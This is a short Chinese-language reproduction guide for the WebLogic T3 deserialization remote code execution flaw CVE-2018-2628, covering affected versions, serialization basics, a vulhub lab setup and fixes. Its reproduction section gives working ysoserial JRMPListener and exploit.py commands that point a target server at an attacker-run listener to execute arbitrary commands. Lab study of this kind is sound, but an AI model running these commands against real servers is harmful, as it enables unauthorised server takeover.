WebLogic 反序列化遠程代碼執行漏洞(CVE-2018-2628)
漏洞概述:
- 在 WebLogic 裏,攻擊者利用其他rmi繞過weblogic黑名單限制,然後在將加載的內容利用readObject解析,從而造成反序列化遠程代碼執行該漏洞,該漏洞主要由於T3服務觸發,所有開放weblogic控制檯7001端口,默認會開啓T3服務,攻擊者發送構造好的T3協議數據,就可以獲取目標服務器的權限。
漏洞版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
基本原理:
- 序列化:簡單來說把對象轉換爲字節流過程(通過ObjectOutputStream類的writeObject)
- 反序列化:就是把字節流恢復爲對象的過程(通過ObjectInputStream類的readObject()方法)
- RMI:遠程方法調用(Remote Method Invocation)。簡單來說,除了該對象本身所在的虛擬機,其他虛擬機也可以調用該對象的方法。
- JRMP:java遠程消息交換協議JRMP(Java Remote Messaging Protocol)
打個比喻就是相當於你在網上買個玩具房子,他不可能直接快遞給你郵個房子,先把房子拆開郵走(序列化),然後收到時在拼裝成一個房子(反序列化)。在JAVA中,對象的序列化和反序列化被廣泛的應用到RMI(遠程方法調用)及網絡傳輸中。
漏洞搭建:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
漏洞復現:
- 快速檢測
利用nmap --script=weblogic-t3-infi.nse
- 首先需要啓動一個JRMP Server,可以利用ysoserial(下載地址:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta)
利用ysoserial啓動一個JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [監聽端口] CommonsCollections1 "命令"
- 然後利用該exp進行攻擊,可見成功上傳文件(下載地址:https://www.exploit-db.com/exploits/44553)
python exploit.py [目標ip] [目標port] [ysoserial路徑] [JRMPListener ip] [JRMPListener port] [JRMPClient]
e.g.
a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)
最終構造payload:python exploit.py 172.17.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.2.109 1099 JRMPClient
漏洞修復:
- 關閉T3服務,或控制T3服務的訪問權限(臨時)。
- 打官方補丁。
ps:餘生很長,請多指教。